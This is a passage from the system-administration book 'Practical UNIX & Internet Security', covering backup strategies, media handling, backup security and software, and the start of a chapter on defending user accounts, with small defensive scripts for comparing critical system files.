    Makes a copy of every file on your computer to the backup device. This method is similar to a day-zero backup, except that you do it on a regular basis.

  • An incremental backup

    Makes a copy to the backup device of only those items in a filesystem that have been modified after a particular event (such as application of a vendor patch) or date (such as the date of the last full backup).

Full backups and incremental backups work together. One common backup strategy is:

  • Make a full backup on the first day of every other week.

  • Make an incremental backup every evening of everything that has been modified since the last full backup.

Most UNIX administrators plan and store their backups by partition. Different partitions usually require different backup strategies. Some partitions, like the root filesystem and the /etc filesystem (if it is separate), should probably be backed up whenever you make a change to them, on the theory that every change that you make to them is too important to lose. You should use full backups with these systems, rather than incremental backups, because they are only usable in their entirety.

On the other hand, partitions that are used for keeping user files are more amenable to incremental backups. Partitions that are used solely for storing application programs really only need to be backed up when new programs are installed or when the configuration of existing programs are changed.

When you make incremental backups, use a rotating set of backup tapes.[6] The backup you do tonight shouldn't write over the tape you used for your backup last night. Otherwise, if your computer crashes in the middle of tonight's backup, you would lose the data on the disk, the data in tonight's backup (because it is incomplete), and the data in last night's backup (because you partially overwrote it with tonight's backup). Ideally, perform an incremental backup once a night, and have a different tape for every night of the week, as shown in

[6] Yes, all tapes rotate. We mean that the tapes are rotated with each other according to a schedule, rather than being rotated around a spindle.

Figure 7.1: An incremental backup

Update Your Backup Configuration!

When you add new disks or change the partitions of your existing disks, be sure to update your backup scripts so that the new disks are backed up! If you are using the UNIX dump/restore facility, be sure to update the /etc/dumpdates file so that the dump program will not think that full backups have already been made of the new partitions.

7.1.4 Guarding Against Media Failure

You can use two distinct sets of backup tapes to create a tandem backup. With this backup strategy, you create two complete backups (call them A and B) on successive backup occasions. Then, when you perform your first incremental backup, the A incremental, you back up all of the files that were created or modified after the original A backup (even if they are on the B full backup tape). The second time you perform an incremental backup, your B incremental, you write out all of the files that were created or modified since the B backup (even if they are on the A incremental backup.) This system protects you against media failure, because every file is backed up in two locations. It does, however, double the amount of time that you will spend performing backups.

Some kinds of tapes - in particular, 4mm or 8mm video tape and Digital Audio Tape (DAT) - cannot be reused repeatedly without degrading the quality of the backup. If you use the same tape cartridge for more than a fixed number of backups (usually, 50 or 100), you should get a new one. Be certain to see what the vendor recommends - and don't push that limit. The few pennies you may save by using a tape beyond its useful range will not offset the cost of a major loss.

Try to restore a few files chosen at random from your backups each time, to make sure that your equipment and software are functioning properly. Stories abound about computer centers that have lost disk drives and gone to their backup tapes, only to find them all unreadable. This scenario can occur as a result of bad tapes, improper backup procedures, faulty software, operator error (see the sidebar below), or other problems.

A Classic Case of Backup Horror

Sometimes, the weakest link in the backup chain is the human responsible for making the backup. Even when everything is automated and requires little thought, things can go badly awry. The following was presented to one of us as a true story. The names and agency have been omitted for obvious reasons.

It seems that a government agency had hired a new night operator to do the backups of the UNIX systems. The operator indicated that she had prior computer operations experience. Even if she hadn't, that was okay - little was needed in this job because the backup was largely the result of an automated script. All the operator had to do was log in at the terminal in the machine room located next to the tape cabinet, start up a command script, and follow the directions. The large disk array would then be backed up with the correct options.

All went fine for several months, until one morning, the system administrator met the operator leaving. She was asked how the job was going. "Fine," she replied. Then the system administrator asked if she needed some extra tapes to go with the tapes she was using every night - he noticed that the disks were getting nearer to full capacity as they approached the end of the fiscal year. He was met by a blank stare and the chilling reply "What tapes?"

Further investigation revealed that the operator didn't know she was responsible for selecting tapes from the cabinet and mounting them. When she started the command file (using UNIX dump), it would pause while mapping the sectors on disk that it needed to write to tape. She would wait a few minutes, see no message, and assume that the backup was proceeding. She would then retire to the lounge to read.

Meanwhile, the tape program would, after some time, begin prompting the operator to mount a tape and press the return key. No tape was forthcoming, however, and the mandatory security software installed on the system logged out the terminal and cleared the screen after 60 minutes of no typing. The operator would come back some hours later and see no error messages of any kind.

Murphy was kind: the system did not crash in the next few hours that it took the panicked system administrator to make a complete level zero dump of the system. Procedures were changed, and the operator was given more complete training.

How do you know if the people doing your backups are doing them correctly?

At least once a year, you should attempt to restore your entire system completely from backups to ensure that your entire backup system is working properly. Starting with a different, unconfigured computer, see if you can restore all of your tapes and get the new computer operational. Sometimes you will discover that some critical file is missing from your backup tapes. These practice trials are the best times to discover a problem and fix it.

It's possible that your computer vendor may let you borrow or rent a computer of the appropriate configuration to let you perform this test. The whole process should take only a few hours, but it will do wonders for your peace of mind and will verify that your backup procedure is working correctly (or illustrate any problems, if it isn't). If you have business continuation insurance, you might even get a break on your premiums by doing this on a regular basis!

A related exercise that can prove valuable is to pick a file at random, once a week or once a month, and try to restore it. Not only will this reveal if the backups are comprehensive, but the exercise of doing the restoration may also provide some insight.

NOTE: We have heard many stories about how the tape drive used to make the backup tapes had a speed or alignment problem. Such a problem results in the tapes being readable by the drive that made them, but unreadable on every other tape drive in the world! Be sure that you load your tapes on other drives when you check them.

7.1.5 How Long Should You Keep a Backup?

It may take a week or a month to realize that a file has been deleted. Therefore, you should keep some backup tapes for a week, some for a month, and some for several months.

Many organizations make yearly backups that they archive indefinitely. After all, tape or CD-ROM is cheap, and rm is forever. Keeping a yearly or a biannual backup "forever" is a small investment in the event that it should ever be needed again.

You may wish to keep on your system an index or listing of the names of files on your backup tapes. This way, if you ever need to restore a file, you can find the right tape to use by scanning the index, rather than reading in every single tape. Having a printed copy of these indexes is also a good idea, especially if you keep the online index on a system that may need to be restored!

NOTE: If you keep your backups for a long period of time, you should be sure to migrate the data on your backups each time you purchase a new backup system. Otherwise, you might find yourself stuck with a lot of tapes that can't be read by anyone, anywhere. This happened in the late 1980s to the MIT Artificial Intelligence Laboratory, which had a collection of research reports and projects from the 1970s on seven-track tape. One day, the lab started a project to put all of the old work online once more. The only problem was that there didn't appear to be a working seven-track tape drive anywhere in the country that the lab could use to restore the data.

7.1.6 Security for Backups

Backups pose a double problem for computer security. On the one hand, your backup tape is your safety net: ideally, it should be kept far away from your computer system so that a local disaster cannot ruin both. But on the other hand, the backup contains a complete copy of every file on your system, so the backup itself must be carefully protected.

7.1.6.1 Physical security for backups

If you use tape drives to make backups, be sure to take the tape out of the drive! One company in San Francisco that made backups every day never bothered removing the cartridge tape from their drive: when their computer was stolen over a long weekend by professional thieves who went through a false ceiling in their office building, they lost everything. "The lesson is that the removable storage media is much safer when you remove it from the drive," said an employee after the incident.

Do not store your backup tapes in the same room as your computer system! Any disaster that might damage or destroy your computers is likely to damage or destroy anything in the immediate vicinity of those computers as well. This rule applies to fire, flood, explosion, and building collapse.

You may wish to consider investment in a fireproof safe to protect your backup tapes. However, the safe should be placed off site, rather than right next to your computer system. While fireproof safes do protect against fire and theft, they don't protect your data against explosion, many kinds of water damage, and building collapse.

NOTE: Be certain that any safe you use for storing backups is actually designed for storing your form of media. One of the fireproof lockboxes from the neighborhood discount store might not be magnetically safe for your tapes. It might be heat-resistant enough for storing paper, but not for storing magnetic tape, which cannot withstand the same high temperatures. Also, some of the generic fire-resistant boxes for paper are designed with a liquid in the walls that evaporates or foams when exposed to heat, to help protect paper inside. Unfortunately, these chemicals can damage the plastic in magnetic tape or CD-ROMs.

7.1.6.2 Write-protect your backups

After you have removed a backup tape from a drive, do yourself a favor and flip the write-protect switch. A write-protected tape cannot be accidentally erased.

If you are using the tape for incremental backups, you can flip the write-protect switch when you remove the tape, and then flip it again when you reinsert the tape later. If you forget to unprotect the tape, your software will probably give you an error and let you try again. On the other hand, having the tape write-protected will save your data if you accidentally put the wrong tape in the tape drive, or run a program on the wrong tape.

7.1.6.3 Data security for backups

File protections and passwords protect the information stored on your computer's hard disk, but anybody who has your backup tapes can restore your files (and read the information contained in them) on another computer. For this reason, keep your backup tapes under lock and key.

Several years ago, an employee at a computer magazine pocketed a 4mm cartridge backup tape that was on the desk of the system manager. When the employee got the tape home, he discovered that it contained hundreds of megabytes of personal files, articles in progress, customer and advertising lists, contracts, and detailed business plans for a new venture that the magazine's parent company was planning. The tape also included tens of thousands of dollars worth of computer application programs, many of which were branded with the magazine's name and license numbers. Quite a find for an insider who is setting up a competing publication.

When you transfer your backup tapes from your computer to the backup location, protect the tapes at least as well as you normally protect the computers themselves. Letting a messenger carry the tapes from building to building may not be appropriate if the material on the tapes is sensitive. Getting information from a tape by bribing an underpaid courier, or by knocking him unconscious and stealing it, is usually easier and cheaper than breaching a firewall, cracking some passwords, and avoiding detection online.

Another Tale of Backup Woe

One apocryphal story we saw on the net several years ago concerned a system administrator who tried to do the right thing. Every week, he'd make a full backup of his system. He would test the backups to be certain the tapes were readable. Then he would throw them into the passenger seat of his car and he'd drive home, where he would store the tapes in a fireproof safe.

All proceeded without incident for many months until there was a major disaster of some sort that destroyed the computer room. Our would-be hero felt quite relieved that he had these valuable backups in a safe place. So, after an alternate site was identified, he drove home and retrieved some of the tapes.

Unfortunately, the tapes contained no usable data. All the data was lost.

The problem? It seems that these events occurred in the far north, during the winter. The administrator's car had heater wires in the car seats, and the current passing through the wires degaussed the data on the tapes that he stored on the passenger seat during the long ride home.

Is it true? Possibly. But even if not, the lessons are sound ones: test your backup tapes after subjecting them to whatever treatment you would expect for a tape you would need to use, and exercise great care in how you store and transport the tapes

The use of encryption can dramatically improve the security for backup tapes. However, if you do choose to encrypt your backup tapes, be sure that the encryption key is known by more than one person. You may wish to escrow your key (see the sidebar entitled "A Note About Key Escrow" in Chapter 6, Cryptography). Otherwise, the backups may be worthless if the only person with the key forgets it, becomes incapacitated, or decides to hold your data for ransom.

Here are some ideas for storing a backup tape's encryption key:

  • Always use the same key. Physical security of your backup tape should be your first line of defense.

  • Store copies of the key on pieces of paper in envelopes. Give the envelopes to each member of the organization's board of directors, or chief officers.

  • If your organization uses an encryption system such as PGP that allows a message to be encrypted for multiple recipients, encrypt and distribute the backup encryption key so that it can be decrypted by anyone on the board.

  • Alternatively, you might consider a secret-sharing system, so that the key can be decrypted by any two or three board members working together, but not by any board member on his own.

7.1.7 Legal Issues

Finally, some firms should be careful about backing up too much information, or holding it for too long. Recently, backup tapes have become targets in lawsuits and criminal investigations. Backup tapes can be obtained by subpoena or during discovery in lawsuits. If your organization has a policy regarding the destruction of old paper files, you should extend this policy to backup tapes as well.

You may wish to segregate potentially sensitive data so that it is stored on separate backup tapes. For example, you can store applications on one tape, pending cases on another tape, and library files and archives on a third.

Back up your data, but back up with caution.

Previous: III. System Security | Practical UNIX & Internet Security | Next: 7.2 Sample Backup Strategies
III. System Security | Book Index | 7.2 Sample Backup Strategies


[Chapter 7] 7.2 Sample Backup Strategies

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 7.1 Make Backups! Chapter 7
Backups 		Next: 7.3 Backing Up System Files

7.2 Sample Backup Strategies

A backup strategy describes how often you back up each of your computer's partitions, what kinds of backups you use, and for how long backups are kept. Backup strategies are based on many factors, including:

  • How much storage the site has

  • The kind of backup system that is used

  • The importance of the data

  • The amount of time and money available for conducting backups

  • Expected uses of the backup archive

In the following sections, we outline some typical backup strategies for several different situations.

7.2.1 Individual Workstation

Most users do not back up their workstations on a regular basis: they think that backing up their data is too much effort. Unfortunately, they don't consider the effort required to retype everything that they've ever done to recover their records.

Here is a simple backup strategy for users with PCs or stand-alone workstations:

7.2.1.1 Backup plan

Full backups

Once a month, or after a major software package is installed, back up the entire system. At the beginning of each year, make two complete backups and store them in different locations.

Project-related backups

Back up current projects and critical files with specially written Perl or shell scripts. For example, you might have a Perl script that backs up all of the files for a program you are writing, or all of the chapters of your next book. These files can be bundled and compressed into a single tar file, which can often then be stored on a floppy disk or saved over the network to another computer.

Home-directory backups

If your system is on a network, write a shell script that backs up your home directory to a remote machine. Set the script to automatically run once a day, or as often as is feasible. But beware: if you are not careful, you could easily overwrite your backup with a bad copy before you realize that something needs to be restored. Spending a few extra minutes to set things up properly (for example, by keeping three or four home-directory backups on different machines, each updated on a different day of the week) can save you a lot of time (and panic) later.

This strategy never uses incremental backups; instead, complete backups of a particular set of files are always created. Such project-related backups tend to be incredibly comforting and occasionally valuable.

Retention schedule

Keep the monthly backups two years. Keep the yearly backups forever.

7.2.1.2 Media rotation

If you wish to perform incremental backups, you can improve their reliability by using media rotation. In implementing this strategy, you actually create two complete sets of backup tapes, A and B. At the beginning of your backup cycle, you perform two complete dumps, first to tape A, and then on the following day, to tape B. Each day you perform an incremental dump, alternating tapes A and B. In this way, each file is backed up in two locations. This scheme is shown graphically in Figure 7.2.

Figure 7.2: Incremental backup with media rotation

7.2.2 Small Network of Workstations and a Server

Most small groups rely on a single server with up to a few dozen workstations. In our example, the organization has a single server with several disks, 15 workstations, and DAT tape backup drive.

The organization doesn't have much money to spend on system administration, so it sets up a system for backing up the most important files over the network to a specially designed server.

Server configuration | Drive #1: /, /usr, /var (standard UNIX filesystems)
 | Drive #2: /users (user files)
 | Drive #3: /localapps (locally installed applications)
Client configuration | Clients are run as "dataless workstations" and are not backed up. Most clients are equipped with a 360MB hard disk, although one client has a 1GB drive.

7.2.2.1 Backup plan

Monthly backups

Once a month, each drive is backed up onto its own tape with the UNIX dump utility. This is a full backup, also known as a level 0 dump.

Weekly backups

Once a week, an incremental backup on drive #1 and drive #3 is written to a DAT tape (Level 1 dump). The entire /users filesystem is then added to the end of that tape (Level 0 dump).

Daily backups

A Level 1 dump on drive #2 is written to a file which is stored on the local hard disk of the client equipped with the 1GB hard drive. The backup is compressed as it is stored.

Hourly backups

Every hour, a special directory, /users/activeprojects, is archived in a tar file. This file is sent over the network to the client workstation with the 1GB drive. The last eight files are kept, giving immediate backups in the event that a user accidentally deletes or corrupts a file. The system checks the client to make sure that it has adequate space on the drive before beginning each hourly backup.

The daily and hourly backups are done automatically via scripts run by the cron daemon. All monthly and weekly backups are done with shell scripts that are run manually. The scripts both perform the backup and then verify that the data on the tape can be read back, but the backups do not verify that the data on the tape is the same as that on the disk. (No easy verification method exists for the standard UNIX dump/restore programs.)

Automated systems should be inspected on a routine basis to make sure they are still working as planned. You may have the script notify you when completed, sending a list of any errors to a human (in addition to logging them in a file).

NOTE: If data confidentiality is very important, or if there is a significant risk of packet sniffing, you should design your backup scripts so that unencrypted backup data is never sent over the network.

7.2.2.2 Retention schedule

Monthly backups

Kept for a full calendar year. Each quarterly backup is kept as a permanent archive for a few years. The year-end backups are kept forever.

Weekly backups

Kept on four tapes, which are recycled each month. These tapes should be thrown out every five years (60 uses), although the organization will probably have a new tape drive within five years that uses different kinds of tapes.

Daily backups

One day's backup is kept. Each day's backup overwrites the previous day's.

7.2.3 Large Service-Based Network with Small Budgets

Most large decentralized organizations, such as universities, operate networks with thousands of users and a high degree of autonomy between system operators. The primary goal of the backup system of these organizations is to minimize downtime in the event of hardware failure or network attack; if possible, the system can also restore user files deleted or damaged by accident.

Server configuration |
Primary servers | Drive #1: /, /usr, /var (standard UNIX filesystems)
 | Drives #2-5: user files
Secondary server (matches each primary) | Drive #1: /, /usr, /var (standard UNIX filesystems)
 | Drives #2-6: Backup staging area
Client configuration | Clients are run as "dataless workstations" and are not backed up. Most clients are equipped with a 500MB hard disk. The clients receive monthly software distributions from a trusted server, by CD-ROM or network. Each distribution includes all files and results in a reload of a fresh copy of the operating system. These distributions keep the systems up to date, discourage local storage by users, and reduce the impact (and lifetime) of Trojan horses and other unauthorized modifications of the operating system.

7.2.3.1 Backup plan

Every night, each backup staging area drive is erased and then filled with the contents of the matching drive on its matching primary server. The following morning, the entire disk is copied to a high-speed 8mm tape drive.

Using special secondary servers dramatically eases the load of writing backup tapes. This strategy also provides a hot replacement system should the primary server fail.

7.2.3.2 Retention schedule

Backups are retained for two weeks. During that time, users can have their files restored to a special "restoration" area, perhaps for a small fee. Users who wish archival backups for longer than two weeks must arrange backups of their own. One of the reasons for this decision is privacy: users should have a reasonable expectation that if they delete their files, the backups will be erased at some point in the future.

7.2.4 Large Service-Based Networks with Large Budgets

Many banks and other large firms have requirements for minimum downtime in the event of a failure. Thus, current and complete backups that are ready to go at a moment's notice are vital. In this scheme, we do not use magnetic media at all. Instead, we use a network and special disks.

Each of the local computers uses RAID (Redundant Arrays of Independent Storage) for local disk. Every write to disk is mirrored on another disk automatically, so the failure of one has no user-noticeable effects.

Meanwhile, the entire storage of the system is mirrored every night at 2 a.m. to a set of remote disks in another state (a hot site). This mirroring is done using a high-speed, encrypted leased network line. At the remote location, there is an exact duplicate of the main system. During the day, a running log of activities is kept and mirrored to the remote site as it is written locally.

If a failure of the main system occurs, the remote system is activated. It replays the transaction log and duplicates the changes locally, and then takes over operation for the failed main site.

Every morning, a CD-ROM is made of the disk contents of the backup system, so as not to slow actual operations. The contents are then copied, and the copies sent by bonded courier to different branch offices around the country, where they are saved for seven years. Data on old tapes will be migrated to new backup systems as the technology becomes available.

7.2.5 Deciding upon a Backup Strategy

The key to deciding upon a good strategy for backups is to understand the importance and time-sensitivity of your data. As a start, we suggest that answers to the following questions will help you plan your backups:

  • How quickly do you need to resume operations after a complete loss of the main system?

  • How quickly do you need to resume operations after a partial loss?

  • Can you perform restores while the system is "live?"

  • Can you perform backups while the system is "live?"

  • What data do you need restored first? Next? Last?

  • Of the users you must listen to, who will complain the most if their data is not available?

  • What will cause the biggest loss if it is not available?

  • Who loses data most often from equipment or human failures?

  • How many spare copies of the backups must you have to feel safe?

  • How long do you need to keep each backup?

  • How much are you willing or able to spend?

Previous: 7.1 Make Backups! | Practical UNIX & Internet Security | Next: 7.3 Backing Up System Files
7.1 Make Backups! | Book Index | 7.3 Backing Up System Files


[Chapter 7] 7.3 Backing Up System Files

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 7.2 Sample Backup Strategies Chapter 7
Backups 		Next: 7.4 Software for Backups

7.3 Backing Up System Files

In addition to performing routine backups of your entire computer system, you may wish to make separate backup copies of system-critical files on a regular basis. These backups can serve several functions:

  • They can help you quickly recover if a vital configuration file is unexpectedly erased or modified.

  • They can help you detect unauthorized modifications to critical files, as well as monitor legitimate modifications.

  • They make installing a new version of your operating system dramatically easier (especially if you do not wish to use your vendor's "upgrade" facility) by isolating all site-dependent configuration files in a single place.

Ideally, you should back up every file that contains vital system configuration or account information.

Setting-up an automatic system for backing up your system files is not difficult. You might, for instance, simply have a shell script that copies the files /etc/passwd and /usr/etc/aliases into a specially designated "backup directory" on a regular basis. Or you might have a more sophisticated system, in which a particular workstation gathers together all of the configuration files for every computer on a network, archives them in a directory, and sends you email each day that describes any modifications. The choice is up to you and your needs.

7.3.1 What Files to Back Up?

If you are constructing a system for backing up system files on a regular basis, you should carefully consider which files you wish to archive and what you want to do with them.

By comparing a copy of the password file with /etc/passwd, for example, you can quickly discover if a new user has been added to the system. But it is also important to check other files. For example, if an intruder can modify the /etc/rc file, the commands he inserts will be executed automatically the next time the system is booted. Modifying /usr/lib/crontab can have similar results. (Chapter 11, Protecting Against Programmed Threats, describes what you should look for in these files.)

Some files that you may wish to copy are listed in Table 7.1.

Table 7.1: Critical System Files That You Should Frequently Back Up
Filename | Things to Look for
/etc/passwd | New accounts
/etc/shadow | Accounts with no passwords
/etc/group | New groups
/etc/rc* | Changes in the system boot sequence
/etc/ttys, /etc/ttytab, or /etc/inittab | Configuration changes in terminals
/usr/lib/crontab, /usr/spool/cron/crontabs/, or /etc/crontab | New commands set to run on a regular basis
/usr/lib/aliases | Changes in mail delivery (especially email addresses that are redirected to programs.)
/etc/exports (BSD) /etc/dfs/dfstab (SVR4) | Changes in your NFS filesystem security
/etc/netgroups | Changes in network groups
/etc/fstab (BSD) /etc/vfstab (SVR4) | Changes in mounting options
/etc/inetd.conf | Changes in network daemons
UUCP files (in /usr/lib/uucp or /etc/uucp) |
L.sys or USERFILE | Changes in the UUCP system
Systems or Permissions |

7.3.2 Building an Automatic Backup System

For added convenience, keep the backups of all of the system-critical files in a single directory. Make certain the directory isn't readable by any user other than root, and make sure it has a nonobvious name - after all, you want the files to remain hidden in the event that an intruder breaks into your computer and becomes the superuser! If you have a local area network, you may wish to keep the copies of the critical files on a different computer. An even better approach is to store these files on a removable medium such as a floppy disk or a cartridge disk that can be mounted when necessary.

You can use tar or cpio to store all of the files that you back up in a single snapshot. Alternatively, you can also use RCS (Revision Control System) or SCCS (Source Code Control System) to archive these files and keep a revision history.

Never Underestimate the Value of Paper

Keeping printed paper copies of your most important configuration files is a good idea. If something happens to the online versions, you can always refer to the paper ones. Paper records are especially important if your system has crashed in a severe and nontrivial fashion, because in these circumstances you may not be able to recover your electronic versions. Finally, paper printouts can prove invaluable in the event that your system has been penetrated by nefarious intruders, because they form a physical record. Even the most skilled intruders cannot use a captured account to alter a printout in a locked desk drawer or other safe location.

A single shell script can automate the checking described above. This script compares copies of specified files with master copies and prints any differences. The sample script included below keeps two copies of several critical files and reports the differences. Modify it as appropriate for your own site.

#!/bin/sh
MANAGER=/u/sysadm
FILES="/etc/passwd /etc/group /usr/lib/aliases\
/etc/rc* /etc/netgroup /etc/fstab /etc/exports\
/usr/lib/crontab"
cd $MANAGER/private
for FILE in $FILES
do
/bin/echo $FILE
BFILE=`basename $FILE`
/usr/bin/diff $BFILE $FILE
/bin/mv $BFILE $BFILE.bak
/bin/cp $FILE $BFILE
done

You can use cron to automate running this daily shell script as follows[7]:

[7] This example assumes that you have a version of cron that allows you to specify the user under which the cron script should be run.

0 0 * * * root /bin/sh /u/sysadm/private/daily \
        | mail -s "daily output" sysadm

NOTE: A significant disadvantage of using an automated script to check your system is that you run the risk that an intruder will discover it and circumvent it. Nonstandard entries in/usr/lib/crontab are prime candidates for further investigations by experienced system crackers.

See Chapter 9, Integrity Management, for additional information about system checking.

Previous: 7.2 Sample Backup Strategies | Practical UNIX & Internet Security | Next: 7.4 Software for Backups
7.2 Sample Backup Strategies | Book Index | 7.4 Software for Backups


[Chapter 7] 7.4 Software for Backups

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 7.3 Backing Up System Files Chapter 7
Backups 		Next: 8. Defending Your Accounts

7.4 Software for Backups

There are a number of software packages that allow you to perform backups. Some are vendor specific, and others are quite commonly available. Each may have particular benefits in a particular environment. We'll outline a few of the more common ones here, including a few that you might not otherwise consider. You should consult your local documentation to see if there are special programs available with your system.

Beware Backing up Files with Holes

Standard UNIX files are direct-access files; in other words, you can specify an offset from the beginning of the file, and then read and write from that location. If you ever had experience with older mainframe systems that only allowed files to be accessed sequentially, you know how important random access is for many things, including building random-access databases.

An interesting case occurs when a program references beyond the "end" of the file and then writes. What goes into the space between the old end-of-file and the data just now written? Zero-filled bytes would seem to be appropriate, as there is really nothing there.

Now, consider that the span could be millions of bytes long, and there is really nothing there. If UNIX were to allocate disk blocks for all that space, it could possibly exhaust the free space available. Instead, values are set internal to the inode and file data pointers so that only blocks needed to hold written data are allocated. The remaining span represents a hole that UNIX remembers. Attempts to read any of those blocks simply return zero values. Attempts to write any location in the hole results in a real disk block being allocated and written, so everything continues to appear normal. (One way to identify these files is to compare the size reported by ls -l with the size reported by ls -s.)

Small files with large holes can be a serious concern to backup software, depending on how your software handles them. Simple copy programs will try to read the file sequentially, and the result is a stream with lots of zero bytes. When copied into a new file, blocks are actually allocated for the whole span and lots of space may be wasted. More intelligent programs, like dump, bypass the normal file system and read the actual inode and set of data pointers. Such programs only save and restore the actual blocks allocated, thus saving both tape and file storage.

Keep these comments in mind if you try to copy or archive a file that appears to be larger in size than the disk it resides in. Copying a file with holes to another device can cause you to suddenly run out of disk space.

7.4.1 Simple Local Copies

The simplest form of backup is to make simple copies of your files and directories. You might make those copies to local disk, to removable disk, to tape, or to some other media. Some file copy programs will properly duplicate modification and access times, and copy owner and protection information, if you are super-user or the files belong to you. They seldom recreate links, however. Examples include:

cp

The standard command for copying individual files. Some versions support a -r option to copy an entire directory tree.

dd

This command can be used to copy a whole disk partition at one time by specifying the names of partition device files as arguments. This process should be done with great care if the source partition is mounted: in such a case, the device should be for the block version of the disk rather than the character version. Never copy onto a mounted partition - unless you want to destroy the partition and cause an abrupt system halt!

7.4.2 Simple Archives

There are several programs that are available to make simple archives packed into disk files or onto tape. These are usually capable of storing all directory information about a file, and restoring much of it if the correct options are used. Running these programs may result in a change of either (or both) the atime and the ctime of items archived, however.[8]

[8] See Chapter 5, The UNIX Filesystem, for information about these file characteristics.

ar

Simple file archiver. Largely obsolete for backups (although still used for creating UNIX libraries).

tar

Simple tape archiver. Can create archives to files, tapes, or elsewhere. This choice seems to be the most widely used simple archive program.

cpio

Another simple archive program. This program can create portable archives in plain ASCII of even binary files, if invoked with the correct options. (cpio does record empty directories.)

pax

The portable archiver/exchange tool, which is defined in the POSIX standard. This program combines tar and cpio functionality. This program uses tar as its default file format.

7.4.3 Specialized Backup Programs

There are several dedicated backup programs.

dump/restore

This program is the "classic" one for archiving a whole partition at once, and for the associated file restorations. Many versions of this program exist, but all back up from the raw disk device, thus bypassing calls that would change any of the times present in inodes for files and directories. This program can also make the backups quite fast.

backup

Some SVR4 systems have a suite of programs named, collectively, backup. These are also designed specifically to do backups of files and whole filesystems.

7.4.4 Encrypting Your Backups

You can improvise your own backup encryption if you have an encryption program that can be used as a filter and you use a backup program that can write to a file, such as the dump, cpio, or tar commands. For example, to make an encrypted tape archive using the tar command and the des encryption program, you might use the following command:

# tar cf - dirs and files | des -ef | dd bs=10240 of=/dev/rm8

Although software encryption has potential drawbacks (for example, the software encryption program can be compromised so it records all passwords), this method is certainly preferable to storing sensitive information on unencrypted backup.

Here is an example: suppose you have a des encryption program called des which prompts the user for a key and then encrypts its standard input to standard output.[9] You could use this program with the dump (called ufsdump under Solaris) program to back up the file system /u to the device /dev/rmt8 with the command:

[9] Some versions of the des command require that you specify the "-f -" option to make the program run as a filter.

# dump f - /u | des -e | dd bs=10240 of=/dev/rmt8
Enter key:

If you wanted to back up the filesystem with tar, you would instead use the command:

# tar cf - /u | des -e | dd bs=10240 of=/dev/rmt8
Enter key:

To read these files back, you would use the following command sequences:

# dd bs=10240 if=/dev/rmt8 | des -d | restore fi -
Enter key:

and:

# dd bs=10240 if=/dev/rmt8 | des -d | tar xpBfv -
Enter key:

In both of these examples, the backup programs are instructed to send the backup of file systems to standard output. The output is then encrypted and written to the tape drive.

NOTE: If you encrypt the backup of a filesystem and you forget the encryption key, the information stored on the backup will be unusable.

7.4.5 Backups Across the Net

A few programs can be used to do backups across a network link. Thus, you can do backups on one machine, and write the results to another. An obvious example would be using a program that can write to stdout, and then piping the output to a remote shell. Some programs are better integrated with networks, however.

rdump/rrestore

This is a network version of the dump and restore commands. It uses a dedicated process on a machine that has a tape drive, and sends the data to that process. Thus, it allows a tape drive to be shared by a whole network of machines.

rcp

This command enables you to copy a file or a whole directory tree to a remote machine.

ftp

Although the venerable ftp command can be used to copy files, it is slow and cumbersome to use for many files, and it does not work well with directories. In addition, the standard ftp does not understand UNIX device files, sockets,[10] symbolic links, or other items that one might wish to backup.

[10] Why back up sockets? Because some programs depend upon them.

rdist

This program is often used to keep multiple machines in synchronization by copying files from a master machine to a set of slaves. However, the program primarily works by copying only files that have changed from a master set, and can therefore update a backup set of files from a working version. Thus, instead of distributing new files, the program archives them. rdist can also be run in a mode to simply print the names of files that differ between an old set and a destination machine.

7.4.6 Commercial Offerings

There are several commercial backup and restore utilities. Several of them feature special options that make indexing files or staging little-used files to slower storage (such as write-once optical media) easier. Unfortunately, lack of portability across multiple platforms, and compatibility with sites that may not have the software installed, might be drawbacks for many users. Be sure to fully evaluate the conditions under which you'll need to use the program and decide on a backup strategy before purchasing the software.

7.4.7 inode Modification Times

Most backup programs check the access and modification times on files and directories to determine which entries need to be stored to the archive. Thus, you can force an entry to be included (or not included) by altering these times. The touch command enables you to do so quickly and efficiently.

However, many programs that do backups will cause the access time on files and directories to be updated when they are read for the backup. As this behavior might break other software that depends on the access times, these programs sometimes use the utime system call to reset the access time back to the value it had prior to the backup.

Unfortunately, using the ctime () system call will cause the inode change time, the ctime, to be altered. There is no filesystem call to set the ctime back to what it was, so the ctime remains altered. This is a bane to system security investigations, because it wipes out an important piece of information about files that may have been altered by an intruder.

For this reason, we suggest that you determine the behavior in this regard by any candidate backup program and choose one that does not alter file times. When considering a commercial backup system (or when designing your own), it is wise to avoid a system that changes the ctime or atime stored in the inode.

If you cannot use a backup system that directly accesses the raw disk partitions, you have two other choices:

  1. You can unmount your disks and remount them read-only before backing them up. This procedure will allow you to use programs such as cpio or tar without changing the atime.

  2. If your system supports NFS loopback mounts (such as Solaris or SunOS), you can create a read-only NFS loopback mount for each disk. Then you can back up the NFS-mounted disk, rather than the real device.

Previous: 7.3 Backing Up System Files | Practical UNIX & Internet Security | Next: 8. Defending Your Accounts
7.3 Backing Up System Files | Book Index | 8. Defending Your Accounts


[Chapter 8] Defending Your Accounts

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 7.4 Software for Backups Chapter 8 Next: 8.2 Monitoring File Format

8. Defending Your Accounts

Contents:
Dangerous Accounts
Monitoring File Format
Restricting Logins
Managing Dormant Accounts
Protecting the root Account
The UNIX Encrypted Password System
One-Time Passwords
Administrative Techniques for Conventional Passwords

An ounce of prevention . . .

The worst time to think about how to protect your computer and its data from intruders is after a break-in. At that point, the damage has already been done, and determining where and to what extent your system has been hurt can be difficult.

Did the intruder modify any system programs? Did the intruder create any new accounts, or change the passwords of any of your users? If you haven't prepared in advance, you could have no way of knowing the answers.

This chapter describes the ways in which an attacker can gain entry to your system through accounts that are already in place, and the ways in which you can make these accounts more difficult to attack.

8.1 Dangerous Accounts

Every account on your computer is a door to the outside, a portal through which both authorized and unauthorized users can enter. Some of the portals are well defended, while others may not be. The system administrator should search for weak points and seal them up.

8.1.1 Accounts Without Passwords

Like the lock or guard on the front door of a building, the password on each one of your computer's accounts is your system's first line of defense. An account without a password is a door without a lock. Anybody who finds that door - anybody who knows the name of the account - can enter.

Many so-called "computer crackers" succeed only because they are good at finding accounts without passwords or accounts that have passwords that are easy to guess.

On SVR4 versions of UNIX, you can scan for accounts without passwords by using the logins command:

# logins -p

You can also scan for accounts without passwords by using the command:
